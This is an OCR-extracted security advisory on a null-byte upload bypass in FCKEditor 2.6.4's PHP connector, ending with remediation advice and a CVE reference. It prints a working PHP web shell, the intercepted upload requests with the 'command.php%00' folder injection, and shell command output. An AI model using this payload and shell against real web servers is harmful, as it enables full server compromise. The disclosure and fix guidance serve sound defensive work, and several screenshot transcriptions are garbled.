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Exploiting PHP Upload Module of FCKEditor

Abstract

The PHP file upload module in FCKEditor allows developers to offer file upload
functionality to end users. This paper describes a vulnerability which allows attackers
to bypass file-type checks in this module and upload malicious PHP code into the web

SErvers.

Introduction

FCKEditor (now CKeditor) is an open source WYSIWYG text editor from CKSource
that can be integrated into web applications, to give end users word processor like
interface. FCK stands for ‘Frederico Caldeira Knabben’, the creator of the project, and

the first version was released in 2003.

This editor supports many server side languages like ASP, ASP.NET, PHP etc. The PHP
upload module, for PHP web applications, has a vulnerability which allows remote
attackers to bypass file-type checks. This vulnerability was discovered during the

course of our website audit work.
The vulnerability affects FCKEditor versions 2.6.4 and below.

Note: A different recently discovered vulnerability in the ASP.NET connector file allows

attackers to upload malicious ASP code into vulnerable servers.

Exploits

FCKEditor has built-in ‘filemanager’ package, which allows developers to offer a file
upload and management module to web site end users. For PHP web applications, one
of the relevant files is ‘upload.php’, which is available at the following location:

<site name><fckeditor>/editor/filemanager/connectors/php/upload.php
This file allows end users to upload files into the web server. It has a built in file-type
checker which does not allow PHP files to be uploaded, but a new vulnerability allows

remote attackers to bypass this vulnerability.
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The Attack Scenario

A website, http://www.vulnerable123.com, has integrated FCKEditor version 2.6.4.

For the sake of this proof-of-concept, it is assumed that the test page,
‘uploadtest.html’, packaged with FCKEditor, has not been removed. Also, assume
that there is no session-based access control check on any of the FCKEditor files,

including ‘upload.php’, allowing remote attackers to access them without
authentication.

An attacker browses to the File Upload test page at the URL:

http://www.vulnerable123.com/admin/FCKeditor 2.6.4/editor/filemanager/connectors
/uploadtest.html

) FCKeditor - Uploaders Tests - Mozilla Firefox

Fle Edt  Wew History Bookmarks Tooks  Help

| 1] FcKedor - Uploaders Tests L+

& (71 hekps v vulnerable123,com/ admin/FCKeditar_2,6,4/editor/filemanager/connectars uploadtest himl E<IEE: B Pl | -
A e

Select the "File Uploader" to use:Resource Type Curent Folder: Custom Uploader URL:

[asP ~ [File -/ |
ASP

ASP.Net file: Uploaded File URL:

Egslglc-')uswn [ Browse.. | |

Per Server

Python
(Custom)

x | 127.0.001

He selects the ‘File Uploader’ as PHP, ‘Resource Type’ as File and selects a *.txt’ file.
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%) FCKeditor - Uploaders Tests - Mozilla Firefox
Fle Edt View Hstory Bookmarks Tooks Help

‘ [ Fekeditor - Uploaders Tests _
(€ )3 | ]| npijivnns. ulnerable1 23 com{=dminjeckeditor_2,6.4/edtorjflemanager connectorsjuplbactest html 77 - [@] (8- cooge P et
Select the "File Uploader" to use:Resource Type Current Folder: Custom Uploader URL:
PHP ¥ File | ] |
Upload a new fjle: Uploaded File URL:

|Samanta\Deskto \test.txt| | Browse... ] ‘

Send it to the EE—I

Post URL:

x | 127.0.0.1 - &

The file was successfully uploaded as shown below.

") FCKeditor - Uploaders Tests - Mozilla Firefox

File Edt YVew History Bookmarke Tooks Help

[C Connecting..

( (- L] ‘ D bt funvo vulner abled 23, com/ adminyFCKeditar_2,6.4/editor/flemanagericonnectars/uploadtest btml .A.‘ & . l'ﬂ' Goagle P] \L| | - I-,

File uplosded with no errors
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) FCKeditor - Uploaders Tests - Mozilla Firefox
Fle Edt View Hstory Bookmarks Tooks Help

| Fekadior - Uplsders Tosts &l
(€ ) | [ hitpsjjewa . vulnerable123.com]adminfFCKeditor_2.6.4Jedtorfilemanager/connectorsjuploadtest.html - c.j;?]v SME Pl i -
Custom
Select the "File Uploader” to use:Resource Type Current Folder: Uploader
URL:

PHP v 'None “|/

Upload a new file: Uploaded File URL:

‘C:\Documents and Sett| Browsg /userfiles/test. txt S

| Send it to the Server |

Post URL: php/upload.php

The uploaded file location can be seen by browsing to the above encircled location.

http://www.vulnerable123.com/userfiles/test.txt

%) Mozilla Firefox |Z| |E| g|

File Edit Miew History Bookmarks Tools  Help

J'J htkp:f e vulnerable . omjuserfiles test, bxt I + |

é | IJ hitkpe ffravar vulnerable 123, comfuserfiles/test, bxt gl !"‘l' Google )-I || -
e | = ] Eiedl) || Seee M

Test Upload)

The raw HTTP traffic for this transaction, as intercepted in an HTTP proxy, has the

following structure:
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& burp suite ¥v1.3.03

burp intruder repeater window help

target proxy rspider [’scanner rintruder rrepeaier rsequencer rdecuder rcumparer rnpiiuns raleris

intercent | options | histary |

request to httpivwwwvulneraklel 23.com:iB0 [127.0.0.1]

| forward | | drop | | intercept is on | | action

raw | params | headers hesx

POST
Jadmin/FCKeditor_2.6.4/editor/filemanager/connectors/php/upload.php?time=132153289
9987 &CurrentFolder=/ HTTP/1.0

Host: www.vulnerablel23.com

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: IS0O-8859-1,utf-8;q=0.7,%;q=0.7

Proxy-Connection: keep-alive

Referer:

http: //www.vulnerablel23.com/fadmin/FCKeditor_2.6.4/editor/filemanager/connectors/up
loadtest.html

Cookie: session-id=086156d8562d33deeB838ce96faBa5e6b

Content-Type: multipart/form-data; boundary=-----------------—--—--—--- 210201016526714
Content-Length: 204

210201016526714
Content-Disposition: form-data; name="NewFile"; filename="test.txt"
Content-Type: text/plain

Test Upload
210201016526714--

[+ ][ = ][ = ||testta

Next, the attacker tries to upload a PHP file.

%) FCKeditor - Uploaders Tests - Mozilla Firefox

Eie Edt Yew Higtory Bookmarks Tools Help

‘ [ Fekeditor - Uploaders Tests el
€= EIMNE] -hltp {jwns vulner able 123, com/admingFCKeditor_2.6.4/editorjfilemanager/connectorsfuplaadtest .html v"c| ;‘r"v Goog F | i
Custom
Select the "File Uploader” to use:Resource Type Current Folder: Uploader

PHP . | None </ | URL:

|

Upload a new file: Uploaded File URL:

}ﬂanta\DesktOp test.phpl Browse... I ‘

[ Send it to the SErver

Post URL: php/upload.php
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On clicking the '‘Send it to the Server’ button, the file doesn’t get uploaded and the

following ‘Invalid File’ message was displayed:

“) FCKeditor - Uploaders Tests - Mozilla Firefox EHEHX

Fle Edt Yew History Bookmarks Tocls  Help

‘ ) Connecting @ ;2

\ ; - - %] 3
&> \ﬁ hittps s vulner able1 23, com/admingFCKeditor_2.6.4)editorjfilemanagerconnectors fuploadtest html 1y .[,] Google ,] #® | -

Invalid file

From the above screen, it is evident that ‘upload.php’ implements a file-type check

on all uploaded files. This check can be bypassed in the following way:

Step#1: The attacker enters malicious PHP code into a ‘.txt’ file, which is valid file-

type. Following is the malicious PHP content in the ‘exploit.txt’ file.

B exploit.txt - Notepad |Z“§”X|
File Edit  Farmak  Wiew HeIE

=7php
$cmd = $_GET['cmd'];
if{isset (Somdld £
system{3cmdl;

=
<hitm [ =
<head=
<meta http-equiwv="Content-Twpe"
content="text /html; charset=1so0-8859-1"=>
</ head=

<p=Please enter Swstem Command =/ p>
<fForm method="GET" id="searchform'=
<input twpe="text" name="cmd"'"=
<input twpe="submit" name="submit"
wvalue="3ubmit|' =
</ Forms=
=/ bodys
= Shtml =
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©) FCKeditor - Uploaders Tests - Mozilla Firefox

Fie Edt Yew Hstory Bookmarks Toos Help

‘ || FCKeditor - Uploaders Tests |:7| i
(- | U -http:jjwww.vu\nerah\al23‘mmJadm\njFCKEdimr_Z‘E.4Jadwtnrjfilemanagaritnnnacmrsjup\nadtest.html '.cl 3_:', oo )‘ 1 -
Custom
Select the "File Uploader™ to use:Resource Type Current Folder: Uploader

PHP - 'None -

/ - URL:

|

|}

Upload a new file: Uploaded File URL:
ianta\Desktop exploit.txll’ﬂ Browse.. | ‘
| Sendit to the Server |

Post URL: php/upload.php

Step#2: The attacker clicks on the 'Send it to the Server’ button and captures the
request in an HTTP proxy:

& burp suite v1.3.03

burp intruder repeater window help

[target | prome | spider | scanner [Tintruder | repeaster | seguencer | decoder | comparer | options | alerts

intercept roptlons rhlstor‘y’ |

request to http v vulnerablel 23 com:80 [127.001]

| forward | | drop | | interceptis on | | action |
ray r params r headers hex
POST =

Jadmin/FCKeditor_2.6.4/editor/filemanager/connectors/php/upload.php?time=132151563
6128&Cu rrentFoIder:/] HTTP/1.0

Host: www.vulnerablel23.com

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2 =
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*%;q=0.7

Proxy-Connection: keep-alive

Referer:

http://www.vulnerablel23.com/admin/FCKeditor_ 2.6.4/editor/filemanager/connectors/up
loadtest.html

Cookie: session-id=086156d8562d33dee838ce96faBa 5e6b

Content-Type: multipart/form-data; boundary=----------------cceeuu--- 1500858195621
Content-Length: 615

----------------------------- 1500858195621
Content-Disposition: form-data; name="NewFile"; filename="exploit.txt" -

[+ 1L =1[ = |llexploitbt | 1 match

10
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& burp suite v1.3.03

burp intruder repeater window  help

rtarget rproxy rspider rscanner rintruder rrepeater rsequencer rdecoder rcomparer roptions ralerts |

intercept roptions rhistory |

request to http e vuinerablel 23.com:e0 [127.0.0.1]

| forward | | drop | | intercept is on | | action |

raw | params | headers | hex

Content-Disposition: form-data; name="NewFile"; filename="exploit.txt" =
Content-Type: text/plain
<?php
$cmd = $ GET['cmd’];
if(isset($cmd)) {
system($cmd);
¥ L
7>
<html> =
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<p>Please enter System Command </p> ]
<form method="GET" id="searchform">
<input type="text" name="cmd">
<input type="submit" nhame="submit" value="Submit"> =
[+ [ =1l = |lexpraitet | 1 match

He appends the following string to the value of the URL parameter ‘Current Folder’.
command.php%%00

& burp suite v1.3.03

burp intruder repeater window  help

provay rspider rscanner rintruder rrepeater rsequencer rdecoder rcomparer roptions ralens

intercept | options [ histary |

request to httpiwwwvulinerakblel 23.com:80 [127.0.0.1]

| forward | | drop | | interceptis on | |

ra rparams rheaders hes

POST

Jadmin/FCKeditor 2.6.4/editor/filemanager/connectors/php/upload.php?time=132151563
6128&CurrentFolder=/command.php%00 HTTP/1.0

Host: www.vulnerable123.com

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,%*;q=0.7
Proxy-Connection: keep-alive

Referer:

http: //www.vulnerablel23.com/fadmin/FCKeditor_2.6.4/editor/filemanager/connectors/up
loadtest.html

Cookie: session-id=086156d8562d33dee838cae96fa8ab5e6b

Content-Type: multipart/form-data; boundary=---------------cmmmmcuuuo-- 1500858195621
Content-Length: 615

1500858195621
Content-Disposition: form-data; name="NewFile"; filename="exploit.txt"

[+ =1 = ][command php30n
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Note: In the above screenshot ‘%00’ in the string is the Null Byte.

The file was successfully updated as shown below:

%) FCKeditor - Uploaders Tests - Mozilla Firefox
Fle Edt View History Bookmarks Took  Help

‘ ) Connecting @ ;2
(4 ) | [ 1] htepsonsws.vulnerable1 23, com/admnfFCKeditor_2.6.4edtorjfilemanagerfconnactors{uploadkest bl & -.[-:]v ot Pl =]

File uploaded with no errors

°) FCKeditor, - Uploadars Tests - Mozilla Firefox

Fle Edt Yew Hstory Bookmarks Tools Help

‘ || FcKeditar - Uploaders Tests @ -

\ (- > ‘ D bkt vulner able 123, com/ adminPCKeditor_2.6.4/editoryfilemanager/connectorsiuploadtest html TA,‘ '_G'I [-:" Google: ,0] f - =

Custom
Select the "File Uploader™ to use:Resource Type Current Folder: Uploader
PHP . 'None <l ~ URL:

Upload a new file: ploaded File URL:
‘anta\Desktop\eproit.b(t“ Browse.. ] ‘/userfiles/command.php/exploit.txt

i Send it to the Server i

Post URL: php/upload.php

The attacker browses to the uploaded file URL and confirms that the malicious file has

been uploaded: http://www.vulnerable123.com/userfiles/command.php

12
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%) Mozilla Firefox |Z||E|b__<|

File Edit “iew History EBookmarks Tools  Help

J'J hitkp: f e, vulnerabl. serfiles/command. php I + | T

(' | |J http:f e, vulnerable1 23, comfuserfiles/command php - |"“l' Google )| A - -
M | i) ki 1) 8 22

Please enter System Command

| Submit |

He enters a system command as shown below and clicks on the ‘Search’ button.

dir C:\xampp\htdocs\admin

) Mozilla Firefox

Fle Edt Wiew History Bookmarks Tools  Help

[ oo sunerbl..serfilesfcommand php. | |

(€ P | [0 hetpyfjwsvunerablel 23, comjuserflesicommand, php v - | 29+ Googe 2w (=]
F2 L8 1420 ) |

Please enter System Command

|dir C:\xampp\htdocs\adr“ Submit ]

He is shown the following details:

13
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£2) Mozilla Firefox
Fie Edt Yiew Hstory Bookmarks Tools  Help

| J bkt fww, vulnerabl .. adrmin@submit=Submit |+

€ [ | httpe/jwws. vulnerable1 23, comjuserfiles fcommand, php?cmds=dir-+- C%38) xamppihtdocsiadminsubmit=Submit - | |- Gong Pl |-

Volume in drive C has no label. Volume Serial Number is 446D-883C Directory of
C:'xampp'htdocs'admin 11/03/2011 10:58 AM

. 11/03/2011 10:58 AM
.. 09/20/2011 11:23 PM 1.46 11/03/ .58 AM
FCKeditor 2.6.4 D9/20/ 1681 login.css 10/15/2011
07:22 PM 2.,860|login. phpll() 16 2011 11:25 AM 2,631

[login pmc,eas.]gh]j 11/03/2011 10:58 AM

| personal details form|4 File(s) 7.636 bytes 4 Dir(s)
19.955,519.106 bytes Iree

List of files and Please enter System Command
folders in the .

‘admin’ directory
Submit

cmp_ menu.css

The above screenshot shows that the command displayed the directory listing of the
mentioned folder.

What’s going on?

1) There is a proper validation for the file type in the ‘filename’ parameter.

2) The ‘exploit.txt’ file is uploaded successfully because *.txt’ is an allowed file-
type.

3) The text file contains malicious PHP code, but since the server does not execute
text files, it does not pose a security risk.

4) Instead of the ‘exploit.txt’ file, however, ‘command.php’ file is created on the
server.

5) Moreover, the content of ‘command.php’ is the same as the content of

‘exploit.txt’ file.

This happens because:

1) The ‘currentfolder’ URL parameter value gives the name of a sub-folder, in the
upload folder where the file will be uploaded.

2) By inserting the ‘%00’ null byte character at the end of the sub-folder name, it

is possible to create a new file instead of a new folder.

14
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3) This happens because the path of the file to be created looks like the following:
/root/mysite/userfiles/command.php%00/exploit.txt

4) As the server ignores everything after the null byte, a new file is created called
‘command.php’ with the following location:

/root/mysite/userfiles/command.php

Vulnerable Versions

This vulnerability affects FCKEditor versions 2.6.4 and below.

Impact

The impact of the above findings is SEVERE since attackers can upload malicious files,

like web shells and completely compromise affected web servers.

Recommended Resolutions

These are some of the measures that should be taken to remove this vulnerability
1. Older versions of FCKEditor should be replaced with latest version of FCKEditor
(CKEditor 3.6.6) to thwart the above vulnerabilities.
2. For FCKEditor of version 2.6.4 and less, the ‘currentfolder’ parameter can be
disabled with the following code changes in the upload.php file:

‘sCurrentFolder = GetCurrentFolder()’ should be replaced with
‘sCurrentFolder = "/"’

15
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NEE BERE {BE 2C

upload.php

il @w%#@ @Q‘z[ﬁ o0 ) 11 Watch case _

*

* == END LICENSE ==

*

*# Thiz iz the "File Uploader” for PHP.
*/

require( ' ./config. php')
require(’ . /util.php') :
require( ' ./io.php')
{'./commands.php')
require( . /phpcompat php')

function SendError( $number, Stext )

SendUploadResults| $number, "', "', $text ) Vulnerable COde

/# Check if this uploader has been ensbled
if { 14Config[ 'Ensbled'] )
SendUploadResults( '1', "', "', 'Thiz file uploadsr

$sCommand = 'Cuicklpload' ;

47 The file type (from the QueryString, by de

$=Type = isset{ $_GET[ 'Type'] ) 7 $_GET['T 'File' ;

$sCurrentFolder = GetCurrentFolder()

// Iz enabled the upload?
if { | IsAllowedComnand( $sCommand ) )
SendUploadResult=( '1', ', "', 'The """ . $sCommand . """ command isnv't allowed' |

/¢ Check if it iz an allowed type
if ( VIzillowvedType( $=Type ) )

SendUploadResult={ 1, ''. "', 'Invalid type specified’ )
Filelpload( 8=Type. $sCurrentFolder. SsCommand )

1

upload.php

d. Plesse check the "editor/filemanager/connectors/php/config.php' file' )

<
> x

*

# == END LICENSE ==

*
*# Thiz iz the "File Uploader” for PHP.
*/

{'./config.php') ;
{'./util.php") ;
require(' . /io.php')
("
iz

Safe Code

.“commands.php')
./phpcompat php')

function SendError{ $number, $text )

SendUploadResults( $number, ', "', $text )

/# Check if this uploader has been ensbled
if { l4Config[ 'Ensbled'] )
SendUploadResults( ‘1", "', '', 'Thiz file

$sCommand = 'Quicklpload’ ;

/7 The file type (from the QueryStri
$=Type = isset{ $_GET['Typs'] ) ?

[SsCurrentFDlder =" ]

/# Iz enabled the upload?
if (| IsAllowedCommand( $=Command ) )
SendUploadResults( '1', "', "', 'The """ . $=Command . '"" command i1sn~'t allowed' )

/¢ Check if it iz an allowed type
if ( VIzillowvedType( $=Type ) )

SendUploadResult={ 1, ', "', 'Invalid type specified' ) ;
Filelpload{ $=Type, $sCurrentFolder, $sCommand )

1

Er iz dizabled. Pleaze check the "editorsfilensnager/connectors/phpsconfig.php” file' )

<
> =

16
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Addendum?*

While we discovered this vulnerability independently and during the course of our
work, it has recently come to our attention that this vulnerability was already in the
public realm. This was an honest oversight on our part and we did not intend to take
the credit away from those who discovered and disclosed this vulnerability first. More
information is available at: http://cve.mitre.org/cqi-bin/cvename.cgi?name=CVE-
2009-2265
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